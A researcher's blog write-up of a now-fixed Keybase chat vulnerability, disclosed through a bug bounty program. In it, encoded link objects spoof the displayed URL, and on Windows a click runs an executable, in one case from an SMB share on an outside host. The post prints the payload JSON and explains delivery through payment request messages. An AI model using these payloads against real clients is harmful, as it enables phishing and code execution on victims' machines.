1-click RCE on Keybase

TL;DR

Keybase clients allowed to send links in chats with arbitrary schemes and arbitrary display text. On Windows it was possible to send an apparently harmless link which, when clicked, could execute arbitrary commands on the victim’s system.

Introduction

Keybase is a chat, file sharing, git, * platform, similar to Slack, but with a security in-depth approach. *Everything* on Keybase is encrypted, allowing you to relax while syncing your private files on the cloud.

Due to its security features and the pretty good results in the assault by the NCC Group’s army against its protocol I became an active Keybase user.

Fat-fingering -> Bug

While fat-fingering in one of my chats I suddenly came across a weird Keybase behavior. I was sending to @Th3Zer0 and @Paupu_95 an e-mail address and I wanted to enclose it between two backticks, but I ended up writing:

` `email@domain.tld`

With my big surprise the text was sent and converted to:

`$>kb$eyJ0eXAiOjUsIm1haWx0byI6eyJkaXNwbGF5IjoiZW1haWxAZG9tYWluLnRsZCIsInVybCI6Im1haWx0bzplbWFpbEBkb21haW4udGxkIiwicHVueWNvZGUiOiIifX0=$<kb$

People used to play with base64 encoded data may have already noticed the “ey” beginning of the string, which means we have a base64 encoded JSON string: {"typ":5,"mailto":{"display":"email@domain.tld","url":"mailto:email@domain.tld","punycode":""}} .

Obviously neither me, nor my colleagues could ignore such behavior and in a matter of second our chat was full of backticks and various kind of URIs, which led us to discover that also http URIs were bugged in the same way.

What if?

What if we can create a link with the following format?

{"typ":4,"link":{"display":"http://shielder.it","url":"http://evil.it","punycode":""}}

With this idea in mind we tried multiple approaches, but everything failed:

sending a $>kb$<base64_string>$<kb$ via the keybase GUI client

via the keybase GUI client sending a $>kb$<base64_string>$<kb$ via the keybase CLI client

via the keybase CLI client sending a $>kb$<base64_string>$<kb$ via the keybase mobile client

At this point we were pretty close to give up and we thought that the bug could not be exploited.

Fat-fingering v2.0 –> Self-ownage

One of the very last attempts ended up with me CTRL+V ing the payload too many times, resulting in the Keybase client showing the draft preview and telling me “This message failed to send, message is too long. Cancel or Edit”.

Wait what?!?!?! The $>kb$eyJ0eXAiOjQsImxpbmsiOnsiZGlzcGxheSI6Imh0dHA6Ly9zaGllbGRlci5pdCIsInVybCI6Imh0dHA6Ly9ldmlsLml0IiwicHVueWNvZGUiOiIifX0=$<kb$ string was converted to a link displaying http://shielder.it , but opening http://evil.it once clicked. 🙌🏾

After a bunch of seconds of euphoria I realized the uncomfortable truth.

The coup de grace was that I also realized I could achieve Command Execution by setting as url a path to a local executable or a path to a file hosted on a SMB server while targeting a Windows client.

{“typ”:4,“link”:{“display”:“http://shielder.it”,“url”:"\\1.3.3.7\tmp\a.exe",“punycode”:""}}

0.1337 XLM for RCE

With the working payload in my hands I started thinking about all the Keybase features in order to find a place where a user-controllable input might have been “transformed” before being displayed to a third-party.

That’s where Lumens (XLM) joined the party! Lumens are a crypto-currency developed by Stellar and fully-integrated in the Keybase client. You can easily send / receive XLM and also send payment requests in chats.

Payment requests obviously allow to set a custom message and, guess what, the message body is evaluated by the client converting our beloved $>kb$<base64_string>$<kb$ strings to link objects. 🤟🏾

{“typ”:4,“link”:{“display”:“http://shielder.it”,“url”:“C:\windows\system32\calc.exe”,“punycode”:""}}

Your money or your shell 🔫

Finally I managed to have a working 1-click exploit, by just sending a payment request to anyone on Keybase with a phishy link as request message I could execute arbitrary command on their system once they click the link!

💰 ¡Bounty! 💰

The Keybase team does its best to make a secure product and, like other companies, they have a bug bounty program.

Right after the creation of the final PoC I reported the vulnerability to the team and in less than 15 minutes they replied.

Bounty ¯\_(ツ)_/¯ .

Looks like someone reported the URL spoofing before me, but she didn’t thought it can be leveraged to RCE.

I then asked @maxtaco and @cjb to share with me the beta version to verify that their fix for the URL spoofing was enough to prevent the RCE too and it was the case as now:

the “display” field is gone

the “url” field is prefixed with “http://” when it doesn’t begin with “http(s)://”

Even though this journey didn’t end up with a bounty it was really nice and I enjoyed working with the Keybase team on this issue, they were professional and super fast in fixing / replying on the Hackerone report!